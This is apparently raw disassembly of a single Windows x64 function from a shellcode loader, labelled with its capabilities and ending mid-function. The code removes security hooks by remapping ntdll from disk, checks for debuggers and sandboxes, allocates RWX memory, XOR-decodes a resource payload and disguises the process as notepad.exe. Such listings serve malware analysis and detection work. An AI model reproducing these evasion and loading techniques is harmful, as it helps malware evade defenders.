Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x498
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x400], xmm6
mov dword [rbp + 0x430], ecx
mov qword [rbp + 0x438], rdx
call fcn.1400030c0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x378], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x370], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x368], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3f8], rax
cmp qword [rbp + 0x3f8], 0
jne 0x140001586
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x3f8], rax
cmp qword [rbp + 0x3f8], 0
je 0x140001a06
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x180]
mov rax, qword [rbp + 0x368]
mov r10, qword [rbp + 0x3f8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x14a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x360], rax
mov ecx, 0x14a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x358], rax
mov dword [rbp + 0x3f4], 0
jmp 0x14000167f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x3f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x360]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x3f4], 1
cmp dword [rbp + 0x3f4], 0x293
jle 0x1400015f5
mov dword [rbp + 0x3f4], 0
jmp 0x1400016ed
mov eax, dword [rbp + 0x3f4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x360]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x3f4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x358]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140004260
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x3f4], 1
cmp dword [rbp + 0x3f4], 0x293
jle 0x14000169b
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x350], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x340], rax
pxor xmm0, xmm0
movss dword [rbp + 0x3ec], xmm0
mov dword [rbp + 0x3f0], 0
jmp 0x140001818
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x3f0]
movsd xmm0, qword [0x14000c170]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x14000c178]
movd xmm0, eax
call fcn.1400040b0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x3f0]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c170]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x3ec]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x3ec], xmm0
add dword [rbp + 0x3f0], 1
cmp dword [rbp + 0x3f0], 0x37e
jle 0x14000179f
movss xmm1, dword [rbp + 0x3ec]
movss xmm0, dword [0x14000c17c]
mulss xmm0, xmm1
movss dword [rbp + 0x3ec], xmm0
mov rax, qword [rbp + 0x340]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x350]
add rax, rdx
mov qword [rbp + 0x328], rax
mov word [rbp + 0x3ea], 0
jmp 0x1400019ee
mov rax, qword [rbp + 0x328]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x328]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x3ea]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x320]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019dd
mov dword [rbp + 0x148], 0
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x350]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x148]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x338]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x350]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x148]
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x320]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x350]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x148]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x3ea]
add eax, 1
mov word [rbp + 0x3ea], ax
mov rax, qword [rbp + 0x328]
movzx eax, word [rax + 6]
cmp word [rbp + 0x3ea], ax
jb 0x1400018b2
mov dword [rbp + 0x14c], 0
mov rax, qword [rbp + 0x378]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x318], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x14c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x318]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x314], 0
mov ecx, 0x194
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x3e4], 0
jmp 0x140001b72
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x314], edx
mov edx, dword [rbp + 0x314]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0x168
jle 0x140001af8
mov eax, dword [rbp + 0x3e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x308]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001b6b
cmp dword [rbp + 0x314], 0
jns 0x140001b25
mov eax, dword [rbp + 0x3e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x308]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001b6b
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x314]
movsd xmm0, qword [0x14000c180]
mulsd xmm0, xmm1
movsd xmm1, qword [0x14000c188]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x3e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x308]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x3e4], 1
cmp dword [rbp + 0x3e4], 0x64
jle 0x140001a91
mov rax, qword [rbp + 0x308]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x158]
add rax, 0x3c
mov qword [rbp + 0x300], rax
mov dword [rbp + 0x2fc], 0
mov ecx, 0xab4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x3e0], 0
jmp 0x140001cab
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x2fc], edx
mov edx, dword [rbp + 0x2fc]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x2fc], eax
cmp dword [rbp + 0x2fc], 0x168
jle 0x140001c31
mov eax, dword [rbp + 0x3e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001ca4
cmp dword [rbp + 0x2fc], 0
jns 0x140001c5e
mov eax, dword [rbp + 0x3e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001ca4
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2fc]
movsd xmm0, qword [0x14000c180]
mulsd xmm0, xmm1
movsd xmm1, qword [0x14000c188]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x3e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x3e0], 1
cmp dword [rbp + 0x3e0], 0x2ac
jle 0x140001bca
mov rax, qword [rbp + 0x2f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x300]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x300]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov ecx, 0
call rax
mov dword [rbp + 0x2e4], eax
cmp dword [rbp + 0x2e4], 0xffffffff
je 0x140002fee
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2d8], rax
cmp qword [rbp + 0x2d8], 0
jne 0x140002fee
mov dword [rbp + 0x144], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x144]
mov r8, qword [rbp + 0x2d0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x144]
cmp eax, 1
je 0x140002fee
mov dword [rbp + 0x2cc], 0x288
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
call rax
mov dword [rbp + 0x2bc], eax
mov eax, dword [rbp + 0x2cc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x2c0]
call rax
mov dword [rbp + 0x2b8], eax
mov eax, dword [rbp + 0x2b8]
sub eax, dword [rbp + 0x2bc]
cmp eax, 0x256
jbe 0x140002fee
mov qword [rbp + 0x2b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x2a8]
mov r9d, 0x3000
mov r8d, 0x3a4
mov edx, 0
call rax
mov qword [rbp + 0x2b0], rax
cmp qword [rbp + 0x2b0], 0
je 0x140002fee
mov dword [rbp + 0x140], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x140]
mov r8, qword [rbp + 0x2a0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x140]
cmp eax, 1
je 0x140002fee
mov dword [rbp + 0x29c], 0x2a7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
call rax
mov dword [rbp + 0x28c], eax
mov eax, dword [rbp + 0x29c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x290]
call rax
mov dword [rbp + 0x288], eax
mov eax, dword [rbp + 0x288]
sub eax, dword [rbp + 0x28c]
cmp eax, 0x275
jbe 0x140002fee
mov dword [rbp + 0x284], 0x3a1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
call rax
mov dword [rbp + 0x274], eax
mov eax, dword [rbp + 0x284]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x278]
call rax
mov dword [rbp + 0x270], eax
mov eax, dword [rbp + 0x270]
sub eax, dword [rbp + 0x274]
cmp eax, 0x36f
jbe 0x140002fee
mov qword [rbp + 0x3d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0
je 0x1400020e1
mov rax, qword [rbp + 0x268]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x260]
mov r9d, 0x3000
mov r8d, 0x498
mov edx, 0
call rax
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0
je 0x140002fee
mov qword [rbp + 0x3d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x14000217c
mov rax, qword [rbp + 0x258]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x250]
mov r9d, 0x3000
mov r8d, 0x2e4
mov edx, 0
call rax
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
je 0x140002fee
mov dword [rbp + 0x3cc], 0x172
mov dword [rbp + 0x3c8], 0xf0
mov dword [rbp + 0x3c4], 0x208
mov dword [rbp + 0x3c0], 0x280
jmp 0x140002276
mov eax, dword [rbp + 0x3c4]
cmp eax, dword [rbp + 0x3c0]
jle 0x140002213
mov eax, dword [rbp + 0x3c4]
cmp eax, dword [rbp + 0x3cc]
jle 0x1400021f3
mov eax, dword [rbp + 0x3c4]
cmp eax, dword [rbp + 0x3c8]
jle 0x1400021ea
sub dword [rbp + 0x3c4], 1
jmp 0x14000225f
sub dword [rbp + 0x3c8], 1
jmp 0x14000225f
mov eax, dword [rbp + 0x3cc]
cmp eax, dword [rbp + 0x3c8]
jle 0x14000220a
sub dword [rbp + 0x3cc], 1
jmp 0x14000225f
sub dword [rbp + 0x3c8], 1
jmp 0x14000225f
mov eax, dword [rbp + 0x3c0]
cmp eax, dword [rbp + 0x3cc]
jle 0x140002241
mov eax, dword [rbp + 0x3c0]
cmp eax, dword [rbp + 0x3c8]
jle 0x140002238
sub dword [rbp + 0x3c0], 1
jmp 0x14000225f
sub dword [rbp + 0x3c8], 1
jmp 0x14000225f
mov eax, dword [rbp + 0x3cc]
cmp eax, dword [rbp + 0x3c8]
jle 0x140002258
sub dword [rbp + 0x3cc], 1
jmp 0x14000225f
sub dword [rbp + 0x3c8], 1
mov eax, dword [rbp + 0x3c4]
mov edx, eax
lea rax, [0x14000c0fc]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x3c4], 0
jg 0x1400021b7
mov rax, qword [rbp + 0x370]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x248], rax
lea rax, str.DKXWTQSXGD
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x248]
lea r8, str.DKXWTQSXGD
mov ecx, 0
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x240]
mov r8, qword [rbp + 0x238]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x370]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov dword [rbp + 0x3bc], 0x212
mov dword [rbp + 0x3b8], 0xdc
mov dword [rbp + 0x3b4], 0x294
mov dword [rbp + 0x3b0], 0x2a8
jmp 0x14000243c
mov eax, dword [rbp + 0x3b4]
cmp eax, dword [rbp + 0x3b0]
jle 0x1400023d9
mov eax, dword [rbp + 0x3b4]
cmp eax, dword [rbp + 0x3bc]
jle 0x1400023b9
mov eax, dword [rbp + 0x3b4]
cmp eax, dword [rbp + 0x3b8]
jle 0x1400023b0
sub dword [rbp + 0x3b4], 1
jmp 0x140002425
sub dword [rbp + 0x3b8], 1
jmp 0x140002425
mov eax, dword [rbp + 0x3bc]
cmp eax, dword [rbp + 0x3b8]
jle 0x1400023d0
sub dword [rbp + 0x3bc], 1
jmp 0x140002425
sub dword [rbp + 0x3b8], 1
jmp 0x140002425
mov eax, dword [rbp + 0x3b0]
cmp eax, dword [rbp + 0x3bc]
jle 0x140002407
mov eax, dword [rbp + 0x3b0]
cmp eax, dword [rbp + 0x3b8]
jle 0x1400023fe
sub dword [rbp + 0x3b0], 1
jmp 0x140002425
sub dword [rbp + 0x3b8], 1
jmp 0x140002425
mov eax, dword [rbp + 0x3bc]
cmp eax, dword [rbp + 0x3b8]
jle 0x14000241e
sub dword [rbp + 0x3bc], 1
jmp 0x140002425
sub dword [rbp + 0x3b8], 1
mov eax, dword [rbp + 0x3b4]
mov edx, eax
lea rax, [0x14000c0fc]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x3b4], 0
jg 0x14000237d
mov rax, qword [rbp + 0x370]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x240]
mov r8, qword [rbp + 0x228]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x220]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x240]
mov r8, qword [rbp + 0x228]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x210]
mov r9, qword [rbp + 0x218]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x378]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x240]
mov r8, qword [rbp + 0x228]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x230]
mov rax, qword [rbp + 0x208]
mov r9, qword [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x3a8], 0
mov dword [rbp + 0x3a4], 0
movabs rax, 0xd85894c13233aa07
movabs rdx, 0xbae2833567c79bb0
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x56ba75b1c1ed1e77
movabs rdx, 0x57e3e844b1e83384
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xe82840b61a2f945c
movabs rdx, 0x93f63181a74b285f
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x56350231020097e9
movabs rdx, 0x70ef23a06e66aa44
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x4b9cb34ab733b09e
movabs rdx, 0xc34f172e4938392b
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xbbc40885e334b833
movabs rdx, 0x523a327422382687
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xaf5694cb22e8ed86
movabs rdx, 0xad340a48f79b0c64
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0xf26d866ead340a48
movabs rdx, 0xcbbf410d896cfd
mov qword [rbp + 0x12c], rax
mov qword [rbp + 0x134], rdx
movabs rax, 0x93ecfe7aadc633e4
movabs rdx, 0x1615b11ca81a27ed
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xcd23e3e3d0f9e49a
movabs rdx, 0x5c71e9a1bade764c
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xe7b28edf0a50759c
movabs rdx, 0xa20e75942a70e99d
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x72ba61f6d163e0a3
movabs rdx, 0xd422abdd924381aa
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7b48ccc902730997
movabs rdx, 0x6a318c8eba8405e0
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa1c5ea69b02f82e6
movabs rdx, 0xab81dad027aa1a21
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x67cdd706d196ed4c
movabs rdx, 0x57acd05df2cbfcb1
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x84b64657acd05df2
movabs rdx, 0x44e3b7a60c58cc
mov qword [rbp + 0x2b], rax
mov qword [rbp + 0x33], rdx
mov dword [rbp + 0x3ac], 0
jmp 0x1400029fb
cmp dword [rbp + 0x3a8], 0x79
jne 0x140002791
mov eax, dword [rbp + 0x3ac]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x3a8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x3ac]
cdqe
mov byte [rbp + rax + 0x40], dl
mov dword [rbp + 0x3a8], 0
jmp 0x1400029f4
mov eax, dword [rbp + 0x3ac]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x3a8]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x3ac]
cdqe
mov byte [rbp + rax + 0x40], dl
add dword [rbp + 0x3a8], 1
mov dword [rbp + 0x1b0], 0
mov ecx, 0x27d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a8], rax
mov ecx, 0x27d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1a0], rax
mov ecx, 0x27d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x198], rax
mov dword [rbp + 0x3a0], 0
jmp 0x1400028e3
mov dword [rbp + 0x39c], 0
jmp 0x1400028cf
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3a0]
cdqe
imul rcx, rax, 0xc4
mov rax, qword [rbp + 0x1a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x39c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x3a0]
cdqe
imul rcx, rax, 0xc4
mov rax, qword [rbp + 0x1a0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x39c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x30
jle 0x14000281e
add dword [rbp + 0x3a0], 1
cmp dword [rbp + 0x3a0], 0x33
jle 0x14000280f
mov dword [rbp + 0x3a0], 0
jmp 0x1400029ba
mov dword [rbp + 0x39c], 0
jmp 0x1400029a6
mov eax, dword [rbp + 0x3a0]
cdqe
imul rdx, rax, 0xc4
mov rax, qword [rbp + 0x1a8]
add rdx, rax
mov eax, dword [rbp + 0x39c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x3a0]
cdqe
imul rdx, rax, 0xc4
mov rax, qword [rbp + 0x1a0]
add rdx, rax
mov eax, dword [rbp + 0x39c]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call fcn.1400040d0
mov eax, dword [rbp + 0x3a0]
cdqe
